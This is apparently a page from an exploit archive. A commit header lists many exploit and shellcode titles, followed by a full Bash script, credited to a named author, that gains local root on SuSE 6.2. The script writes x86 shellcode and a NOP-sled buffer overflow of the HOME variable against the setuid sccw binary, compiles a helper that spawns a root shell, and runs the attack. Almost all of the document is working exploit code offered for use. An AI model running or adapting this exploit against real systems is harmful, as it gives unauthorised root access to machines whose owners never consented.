880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
106 lines
No EOL
2.1 KiB
Bash
Executable file
106 lines
No EOL
2.1 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/656/info
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A buffer overflow vulnerability in sscw's handling of the HOME environment variable allows local users to gain root privileges.
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#!/bin/bash
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#
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# Linux x86 exploit for /usr/bin/sccw on SuSE 6.2
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#
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# -Brock Tellier btellier@webley.com
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echo "Building /tmp/sccwx.c..."
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cat > /tmp/sccwx.c << FOEFOE
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/*
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* sccw local root Linux x86 tested on SuSE 6.2
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* gcc -o sccwx sccwx.c
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* must compile/run a setuid(geteuid()); system("/bin/bash"); for a
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rootshell
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*
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* -Brock Tellier btellier@webley.com
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*/
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#include <stdlib.h>
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#include <stdio.h>
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char exec[]= /* Generic Linux x86 running our /tmp program */
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/tmp/sc";
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#define LEN 400
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#define NOP 0x90
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unsigned long get_sp(void) {
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__asm__("movl %esp, %eax");
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}
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void main(int argc, char *argv[]) {
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int offset=0;
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int i;
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int buflen = LEN;
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long int addr;
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char buf[LEN];
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if(argc > 3) {
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fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
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exit(0);
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}
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else if (argc == 2){
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offset=atoi(argv[1]);
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}
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else if (argc == 3) {
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offset=atoi(argv[1]);
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buflen=atoi(argv[2]);
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}
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else {
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offset=2100;
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buflen=300;
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}
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addr=get_sp();
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fprintf(stderr, "SuSE 6.2 sccw local root\n");
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fprintf(stderr, "Brock Tellier btellier@webley.com\n");
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fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
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memset(buf,NOP,buflen);
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memcpy(buf+(buflen/2),exec,strlen(exec));
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for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
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*(int *)&buf[i]=addr+offset;
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setenv("HOME", buf, 1);
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execl("/usr/bin/sccw", "sccw", NULL);
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}
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FOEFOE
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echo "Building /tmp/sccwuid.c..."
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cat > /tmp/sccwuid.c <<EOFFOE
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void main()
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{
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setuid(geteuid());
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system("/bin/bash");
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}
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EOFFOE
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echo "Compiling /tmp/sccwx..."
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gcc -o /tmp/sccwx /tmp/sccwx.c
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echo "Compiling /tmp/sc..."
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gcc -o /tmp/sc /tmp/sccwuid.c
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echo "Launching /tmp/sccwx..."
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/tmp/sccwx
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echo "If it didn't work, try /tmp/sccwx <offset> <bufsiz>" |